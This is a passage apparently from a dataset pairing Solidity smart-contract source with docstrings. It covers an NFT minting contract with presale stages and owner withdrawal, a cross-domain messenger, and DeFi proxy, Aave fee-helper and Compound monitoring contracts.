_afterTokenTransfers(from, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/Machines.sol
// Author: Mas C. (Project Dark Eye)
pragma solidity ^0.8.0;
contract Machines is Ownable, ERC721DEYE, ReentrancyGuard {
enum ContractStatus {
Paused,
PresaleOne,
PresaleTwo,
Public
}
ContractStatus public contractStatus = ContractStatus.Paused;
string public baseURI;
uint256 public price = 0.03 ether;
uint256 public totalMintSupply = 4000;
uint256 public publicMintTransactionLimit = 5;
uint256 public presaleOneAllowedCount = 1;
uint256 public presaleTwoAllowedCount = 3;
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
constructor(string memory contractBaseURI)
ERC721DEYE ("Time Machines by Project Dark Eye", "DEYEMACHINE") {
baseURI = contractBaseURI;
}
function _baseURI() internal view override(ERC721DEYE) returns (string memory) {
return baseURI;
}
function _startTokenId() internal view virtual override(ERC721DEYE) returns (uint256) {
return 1;
}
function mintPublic(uint64 quantity) public payable callerIsUser {
require(contractStatus == ContractStatus.Public, "Public minting not available");
require(msg.value >= price * quantity, "Not enough ETH sent");
require(_totalMinted() + quantity <= totalMintSupply, "Not enough supply");
require(quantity <= publicMintTransactionLimit, "Exceeds allowed transaction limit");
_safeMint(msg.sender, quantity);
}
function mintPresaleOne(uint64 quantity) public payable callerIsUser {
require(contractStatus == ContractStatus.PresaleOne, "Presale #1 not available");
require(msg.value >= price * quantity, "Not enough ETH sent");
require(_numberMinted(msg.sender) + quantity <= mintAllowedQuantityForAddress(msg.sender, ContractStatus.PresaleOne), "Exceeds allowed wallet quantity");
_safeMint(msg.sender, quantity);
}
function mintPresaleTwo(uint64 quantity) public payable callerIsUser {
require(contractStatus == ContractStatus.PresaleTwo, "Presale #2 not available");
require(msg.value >= price * quantity, "Not enough ETH sent");
require(_numberMinted(msg.sender) + quantity <= mintAllowedQuantityForAddress(msg.sender, ContractStatus.PresaleTwo), "Exceeds allowed wallet quantity");
_safeMint(msg.sender, quantity);
}
function mintAllowedQuantityForAddress(address account, ContractStatus stage) public view returns (uint256) {
if (stage == ContractStatus.Public) {
return publicMintTransactionLimit;
}
(bool presaleOneAllowed, bool presaleTwoAllowed) = _getMintAllowance(account);
uint256 presaleOneAllowedNum = 0;
uint256 presaleTwoAllowedNum = 0;
if (presaleOneAllowed) {
presaleOneAllowedNum += presaleOneAllowedCount;
presaleTwoAllowedNum += presaleOneAllowedCount;
}
if (presaleTwoAllowed) {
presaleTwoAllowedNum += presaleTwoAllowedCount;
}
if (stage == ContractStatus.PresaleOne) {
return presaleOneAllowedNum;
}
if (stage == ContractStatus.PresaleTwo) {
return presaleTwoAllowedNum;
}
return 0;
}
// Owner Only
function setContractStatus(ContractStatus status) public onlyOwner {
contractStatus = status;
}
function setTotalMintSupply(uint256 supply) public onlyOwner {
totalMintSupply = supply;
}
function setBaseURI(string memory uri) public onlyOwner {
baseURI = uri;
}
function setAllowlist(address[] memory addresses, bool[] memory presaleOneAllowed, bool[] memory presaleTwoAllowed) external onlyOwner {
require(addresses.length == presaleOneAllowed.length && addresses.length == presaleTwoAllowed.length, "addresses does not match allowance length");
for (uint256 i = 0; i < addresses.length; i++) {
_setMintAllowance(addresses[i], presaleOneAllowed[i], presaleTwoAllowed[i]);
}
}
function teamMint(address[] memory addresses, uint64[] memory quantities) external onlyOwner {
require(addresses.length == quantities.length, "addresses does not match quatities length");
uint64 totalQuantity = 0;
for (uint i = 0; i < quantities.length; i++) {
totalQuantity += quantities[i];
}
require(_totalMinted() + totalQuantity <= totalMintSupply, "Not enough supply");
for (uint i = 0; i < addresses.length; i++) {
_safeMint(addresses[i], quantities[i]);
}
}
function withdraw() public onlyOwner nonReentrant {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
require(success, "Transaction Unsuccessful");
}
} | Sets if the address is allowed to mint at each stage./ | function _setMintAllowance(address owner, bool presaleOneAllowed, bool presaleTwoAllowed) internal {
_addressData[owner].presaleOneAllowed = presaleOneAllowed;
_addressData[owner].presaleTwoAllowed = presaleTwoAllowed;
}
| 14,897,328 |
pragma solidity ^0.5.0;
/* Interface Imports */
import { ICrossDomainMessenger } from "./interfaces/CrossDomainMessenger.interface.sol";
/**
* @title BaseCrossDomainMessenger
*/
contract BaseCrossDomainMessenger is ICrossDomainMessenger {
event SentMessage(bytes32 msgHash);
/*
* Contract Variables
*/
mapping (bytes32 => bool) public receivedMessages;
mapping (bytes32 => bool) public sentMessages;
address public targetMessengerAddress;
uint256 public messageNonce;
address public xDomainMessageSender;
/*
* Public Functions
*/
/**
* Sets the target messenger address.
* @param _targetMessengerAddress New messenger address.
*/
function setTargetMessengerAddress(
address _targetMessengerAddress
)
public
{
require(targetMessengerAddress == address(0));
targetMessengerAddress = _targetMessengerAddress;
}
/**
* Sends a cross domain message to the target messenger.
* .inheritdoc IL2CrossDomainMessenger
*/
function sendMessage(
address _target,
bytes memory _message,
uint32 _gasLimit
)
public
{
bytes memory xDomainCalldata = _getXDomainCalldata(
_target,
msg.sender,
_message,
messageNonce
);
_sendXDomainMessage(xDomainCalldata, _gasLimit);
messageNonce += 1;
bytes32 msgHash = keccak256(xDomainCalldata);
sentMessages[msgHash] = true;
emit SentMessage(msgHash);
}
/*
* Internal Functions
*/
/**
* Generates the correct cross domain calldata for a message.
* @param _target Target contract address.
* @param _sender Message sender address.
* @param _message Message to send to the target.
* @param _messageNonce Nonce for the provided message.
* @return ABI encoded cross domain calldata.
*/
function _getXDomainCalldata(
address _target,
address _sender,
bytes memory _message,
uint256 _messageNonce
)
internal
pure
returns (
bytes memory
)
{
return abi.encodeWithSelector(
bytes4(keccak256(bytes("relayMessage(address,address,bytes,uint256)"))),
_target,
_sender,
_message,
_messageNonce
);
}
/**
* Sends a cross domain message.
* @param _message Message to send.
* @param _gasLimit OVM gas limit for the message.
*/
function _sendXDomainMessage(
bytes memory _message,
uint32 _gasLimit
) internal;
}
| Sends a cross domain message to the target messenger. .inheritdoc IL2CrossDomainMessenger/ | function sendMessage(
address _target,
bytes memory _message,
uint32 _gasLimit
)
public
{
bytes memory xDomainCalldata = _getXDomainCalldata(
_target,
msg.sender,
_message,
messageNonce
);
_sendXDomainMessage(xDomainCalldata, _gasLimit);
messageNonce += 1;
bytes32 msgHash = keccak256(xDomainCalldata);
sentMessages[msgHash] = true;
emit SentMessage(msgHash);
}
| 5,528,844 |
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
contract DSAuthEvents {
event LogSetAuthority(address indexed authority);
event LogSetOwner(address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_) public auth {
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_) public auth {
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
abstract contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool);
}
abstract contract DSGuard {
function canCall(address src_, address dst_, bytes4 sig) public view virtual returns (bool);
function permit(bytes32 src, bytes32 dst, bytes32 sig) public virtual;
function forbid(bytes32 src, bytes32 dst, bytes32 sig) public virtual;
function permit(address src, address dst, bytes32 sig) public virtual;
function forbid(address src, address dst, bytes32 sig) public virtual;
}
abstract contract DSGuardFactory {
function newGuard() public virtual returns (DSGuard guard);
}
contract DSMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x);
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x / y;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
return x >= y ? x : y;
}
function imin(int256 x, int256 y) internal pure returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) internal pure returns (int256 z) {
return x >= y ? x : y;
}
uint256 constant WAD = 10**18;
uint256 constant RAY = 10**27;
function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
abstract contract DSProxy is DSAuth, DSNote {
DSProxyCache public cache; // global cache for contracts
constructor(address _cacheAddr) public {
require(setCache(_cacheAddr));
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
// use the proxy to execute calldata _data on contract _code
// function execute(bytes memory _code, bytes memory _data)
// public
// payable
// virtual
// returns (address target, bytes32 response);
function execute(address _target, bytes memory _data)
public
payable
virtual
returns (bytes32 response);
//set new cache
function setCache(address _cacheAddr) public virtual payable returns (bool);
}
contract DSProxyCache {
mapping(bytes32 => address) cache;
function read(bytes memory _code) public view returns (address) {
bytes32 hash = keccak256(_code);
return cache[hash];
}
function write(bytes memory _code) public returns (address target) {
assembly {
target := create(0, add(_code, 0x20), mload(_code))
switch iszero(extcodesize(target))
case 1 {
// throw if contract failed to deploy
revert(0, 0)
}
}
bytes32 hash = keccak256(_code);
cache[hash] = target;
}
}
abstract contract DSProxyFactoryInterface {
function build(address owner) public virtual returns (DSProxy proxy);
}
contract Migrations {
address public owner;
uint public last_completed_migration;
modifier restricted() {
if (msg.sender == owner) _;
}
constructor() public {
owner = msg.sender;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
function upgrade(address new_address) public restricted {
Migrations upgraded = Migrations(new_address);
upgraded.setCompleted(last_completed_migration);
}
}
contract AaveHelper is DSMath {
using SafeERC20 for ERC20;
address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08;
address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F;
uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee
uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee
address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B;
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8;
uint public constant NINETY_NINE_PERCENT_WEI = 999900000000000000;
uint16 public constant AAVE_REFERRAL_CODE = 64;
/// @param _collateralAddress underlying token address
/// @param _user users address
function getMaxCollateral(address _collateralAddress, address _user) public view returns (uint256) {
address lendingPoolAddressDataProvider = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolDataProvider();
address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
uint256 pow10 = 10 ** (18 - _getDecimals(_collateralAddress));
// fetch all needed data
(,uint256 totalCollateralETH, uint256 totalBorrowsETH,,uint256 currentLTV,,,) = ILendingPool(lendingPoolAddressDataProvider).calculateUserGlobalData(_user);
(,uint256 tokenLTV,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_collateralAddress);
uint256 collateralPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_collateralAddress);
uint256 userTokenBalance = ILendingPool(lendingPoolCoreAddress).getUserUnderlyingAssetBalance(_collateralAddress, _user);
uint256 userTokenBalanceEth = wmul(userTokenBalance * pow10, collateralPrice);
// if borrow is 0, return whole user balance
if (totalBorrowsETH == 0) {
return userTokenBalance;
}
uint256 maxCollateralEth = div(sub(mul(currentLTV, totalCollateralETH), mul(totalBorrowsETH, 100)), currentLTV);
/// @dev final amount can't be higher than users token balance
maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth;
// might happen due to wmul precision
if (maxCollateralEth >= totalCollateralETH) {
return wdiv(totalCollateralETH, collateralPrice) / pow10;
}
// get sum of all other reserves multiplied with their liquidation thresholds by reversing formula
uint256 a = sub(wmul(currentLTV, totalCollateralETH), wmul(tokenLTV, userTokenBalanceEth));
// add new collateral amount multiplied by its threshold, and then divide with new total collateral
uint256 newLiquidationThreshold = wdiv(add(a, wmul(sub(userTokenBalanceEth, maxCollateralEth), tokenLTV)), sub(totalCollateralETH, maxCollateralEth));
// if new threshold is lower than first one, calculate new max collateral with newLiquidationThreshold
if (newLiquidationThreshold < currentLTV) {
maxCollateralEth = div(sub(mul(newLiquidationThreshold, totalCollateralETH), mul(totalBorrowsETH, 100)), newLiquidationThreshold);
maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth;
}
return wmul(wdiv(maxCollateralEth, collateralPrice) / pow10, NINETY_NINE_PERCENT_WEI);
}
/// @param _borrowAddress underlying token address
/// @param _user users address
function getMaxBorrow(address _borrowAddress, address _user) public view returns (uint256) {
address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
(,,,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user);
uint256 borrowPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_borrowAddress);
return wmul(wdiv(availableBorrowsETH, borrowPrice) / (10 ** (18 - _getDecimals(_borrowAddress))), NINETY_NINE_PERCENT_WEI);
}
/// @notice Calculates the fee amount
/// @param _amount Amount that is converted
/// @param _user Actuall user addr not DSProxy
/// @param _gasCost Ether amount of gas we are spending for tx
/// @param _tokenAddr token addr. of token we are getting for the fee
/// @return feeAmount The amount we took for the fee
function getFee(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint feeAmount) {
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
uint fee = MANUAL_SERVICE_FEE;
if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) {
fee = AUTOMATIC_SERVICE_FEE;
}
if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) {
fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user);
}
feeAmount = (fee == 0) ? 0 : (_amount / fee);
if (_gasCost != 0) {
uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr);
_gasCost = wdiv(_gasCost, price);
feeAmount = add(feeAmount, _gasCost);
}
// fee can't go over 20% of the whole amount
if (feeAmount > (_amount / 5)) {
feeAmount = _amount / 5;
}
if (_tokenAddr == ETH_ADDR) {
WALLET_ADDR.transfer(feeAmount);
} else {
ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount);
}
}
/// @notice Calculates the gas cost for transaction
/// @param _amount Amount that is converted
/// @param _user Actuall user addr not DSProxy
/// @param _gasCost Ether amount of gas we are spending for tx
/// @param _tokenAddr token addr. of token we are getting for the fee
/// @return gasCost The amount we took for the gas cost
function getGasCost(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint gasCost) {
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
if (_gasCost != 0) {
uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr);
_gasCost = wmul(_gasCost, price);
gasCost = _gasCost;
}
// fee can't go over 20% of the whole amount
if (gasCost > (_amount / 5)) {
gasCost = _amount / 5;
}
if (_tokenAddr == ETH_ADDR) {
WALLET_ADDR.transfer(gasCost);
} else {
ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, gasCost);
}
}
/// @notice Returns the owner of the DSProxy that called the contract
function getUserAddress() internal view returns (address) {
DSProxy proxy = DSProxy(payable(address(this)));
return proxy.owner();
}
/// @notice Approves token contract to pull underlying tokens from the DSProxy
/// @param _tokenAddr Token we are trying to approve
/// @param _caller Address which will gain the approval
function approveToken(address _tokenAddr, address _caller) internal {
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeApprove(_caller, uint256(-1));
}
}
/// @notice Send specific amount from contract to specific user
/// @param _token Token we are trying to send
/// @param _user User that should receive funds
/// @param _amount Amount that should be sent
function sendContractBalance(address _token, address _user, uint _amount) public {
if (_amount == 0) return;
if (_token == ETH_ADDR) {
payable(_user).transfer(_amount);
} else {
ERC20(_token).safeTransfer(_user, _amount);
}
}
function sendFullContractBalance(address _token, address _user) public {
if (_token == ETH_ADDR) {
sendContractBalance(_token, _user, address(this).balance);
} else {
sendContractBalance(_token, _user, ERC20(_token).balanceOf(address(this)));
}
}
function _getDecimals(address _token) internal view returns (uint256) {
if (_token == ETH_ADDR) return 18;
return ERC20(_token).decimals();
}
}
contract AaveSafetyRatio is AaveHelper {
function getSafetyRatio(address _user) public view returns(uint256) {
address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
(,,uint256 totalBorrowsETH,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user);
return wdiv(add(totalBorrowsETH, availableBorrowsETH), totalBorrowsETH);
}
}
contract AdminAuth {
using SafeERC20 for ERC20;
address public owner;
address public admin;
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
constructor() public {
owner = msg.sender;
}
/// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner
/// @param _admin Address of multisig that becomes admin
function setAdminByOwner(address _admin) public {
require(msg.sender == owner);
require(admin == address(0));
admin = _admin;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function setAdminByAdmin(address _admin) public {
require(msg.sender == admin);
admin = _admin;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function setOwnerByAdmin(address _owner) public {
require(msg.sender == admin);
owner = _owner;
}
/// @notice Destroy the contract
function kill() public onlyOwner {
selfdestruct(payable(owner));
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, uint _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(owner).transfer(_amount);
} else {
ERC20(_token).safeTransfer(owner, _amount);
}
}
}
contract Auth is AdminAuth {
bool public ALL_AUTHORIZED = false;
mapping(address => bool) public authorized;
modifier onlyAuthorized() {
require(ALL_AUTHORIZED || authorized[msg.sender]);
_;
}
constructor() public {
authorized[msg.sender] = true;
}
function setAuthorized(address _user, bool _approved) public onlyOwner {
authorized[_user] = _approved;
}
function setAllAuthorized(bool _authorized) public onlyOwner {
ALL_AUTHORIZED = _authorized;
}
}
contract ProxyPermission {
address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7;
/// @notice Called in the context of DSProxy to authorize an address
/// @param _contractAddr Address which will be authorized
function givePermission(address _contractAddr) public {
address currAuthority = address(DSAuth(address(this)).authority());
DSGuard guard = DSGuard(currAuthority);
if (currAuthority == address(0)) {
guard = DSGuardFactory(FACTORY_ADDRESS).newGuard();
DSAuth(address(this)).setAuthority(DSAuthority(address(guard)));
}
guard.permit(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)")));
}
/// @notice Called in the context of DSProxy to remove authority of an address
/// @param _contractAddr Auth address which will be removed from authority list
function removePermission(address _contractAddr) public {
address currAuthority = address(DSAuth(address(this)).authority());
// if there is no authority, that means that contract doesn't have permission
if (currAuthority == address(0)) {
return;
}
DSGuard guard = DSGuard(currAuthority);
guard.forbid(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)")));
}
}
contract CompoundMonitorProxy is AdminAuth {
using SafeERC20 for ERC20;
uint public CHANGE_PERIOD;
address public monitor;
address public newMonitor;
address public lastMonitor;
uint public changeRequestedTimestamp;
mapping(address => bool) public allowed;
event MonitorChangeInitiated(address oldMonitor, address newMonitor);
event MonitorChangeCanceled();
event MonitorChangeFinished(address monitor);
event MonitorChangeReverted(address monitor);
// if someone who is allowed become malicious, owner can't be changed
modifier onlyAllowed() {
require(allowed[msg.sender] || msg.sender == owner);
_;
}
modifier onlyMonitor() {
require (msg.sender == monitor);
_;
}
constructor(uint _changePeriod) public {
CHANGE_PERIOD = _changePeriod * 1 days;
}
/// @notice Only monitor contract is able to call execute on users proxy
/// @param _owner Address of cdp owner (users DSProxy address)
/// @param _compoundSaverProxy Address of CompoundSaverProxy
/// @param _data Data to send to CompoundSaverProxy
function callExecute(address _owner, address _compoundSaverProxy, bytes memory _data) public payable onlyMonitor {
// execute reverts if calling specific method fails
DSProxyInterface(_owner).execute{value: msg.value}(_compoundSaverProxy, _data);
// return if anything left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/// @notice Allowed users are able to set Monitor contract without any waiting period first time
/// @param _monitor Address of Monitor contract
function setMonitor(address _monitor) public onlyAllowed {
require(monitor == address(0));
monitor = _monitor;
}
/// @notice Allowed users are able to start procedure for changing monitor
/// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change
/// @param _newMonitor address of new monitor
function changeMonitor(address _newMonitor) public onlyAllowed {
require(changeRequestedTimestamp == 0);
changeRequestedTimestamp = now;
lastMonitor = monitor;
newMonitor = _newMonitor;
emit MonitorChangeInitiated(lastMonitor, newMonitor);
}
/// @notice At any point allowed users are able to cancel monitor change
function cancelMonitorChange() public onlyAllowed {
require(changeRequestedTimestamp > 0);
changeRequestedTimestamp = 0;
newMonitor = address(0);
emit MonitorChangeCanceled();
}
/// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started
function confirmNewMonitor() public onlyAllowed {
require((changeRequestedTimestamp + CHANGE_PERIOD) < now);
require(changeRequestedTimestamp != 0);
require(newMonitor != address(0));
monitor = newMonitor;
newMonitor = address(0);
changeRequestedTimestamp = 0;
emit MonitorChangeFinished(monitor);
}
/// @notice Its possible to revert monitor to last used monitor
function revertMonitor() public onlyAllowed {
require(lastMonitor != address(0));
monitor = lastMonitor;
emit MonitorChangeReverted(monitor);
}
/// @notice Allowed users are able to add new allowed user
/// @param _user Address of user that will be allowed
function addAllowed(address _user) public onlyAllowed {
allowed[_user] = true;
}
/// @notice Allowed users are able to remove allowed user
/// @dev owner is always allowed even if someone tries to remove it from allowed mapping
/// @param _user Address of allowed user
function removeAllowed(address _user) public onlyAllowed {
allowed[_user] = false;
}
function setChangePeriod(uint _periodInDays) public onlyAllowed {
require(_periodInDays * 1 days > CHANGE_PERIOD);
CHANGE_PERIOD = _periodInDays * 1 days;
}
/// @notice In case something is left in contract, owner is able to withdraw it
/// @param _token address of token to withdraw balance
function withdrawToken(address _token) public onlyOwner {
uint balance = ERC20(_token).balanceOf(address(this));
ERC20(_token).safeTransfer(msg.sender, balance);
}
/// @notice In case something is left in contract, owner is able to withdraw it
function withdrawEth() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
}
contract CompoundSubscriptions is AdminAuth {
struct CompoundHolder {
address user;
uint128 minRatio;
uint128 maxRatio;
uint128 optimalRatioBoost;
uint128 optimalRatioRepay;
bool boostEnabled;
}
struct SubPosition {
uint arrPos;
bool subscribed;
}
CompoundHolder[] public subscribers;
mapping (address => SubPosition) public subscribersPos;
uint public changeIndex;
event Subscribed(address indexed user);
event Unsubscribed(address indexed user);
event Updated(address indexed user);
event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool);
/// @dev Called by the DSProxy contract which owns the Compound position
/// @notice Adds the users Compound poistion in the list of subscriptions so it can be monitored
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalBoost Ratio amount which boost should target
/// @param _optimalRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external {
// if boost is not enabled, set max ratio to max uint
uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1);
require(checkParams(_minRatio, localMaxRatio), "Must be correct params");
SubPosition storage subInfo = subscribersPos[msg.sender];
CompoundHolder memory subscription = CompoundHolder({
minRatio: _minRatio,
maxRatio: localMaxRatio,
optimalRatioBoost: _optimalBoost,
optimalRatioRepay: _optimalRepay,
user: msg.sender,
boostEnabled: _boostEnabled
});
changeIndex++;
if (subInfo.subscribed) {
subscribers[subInfo.arrPos] = subscription;
emit Updated(msg.sender);
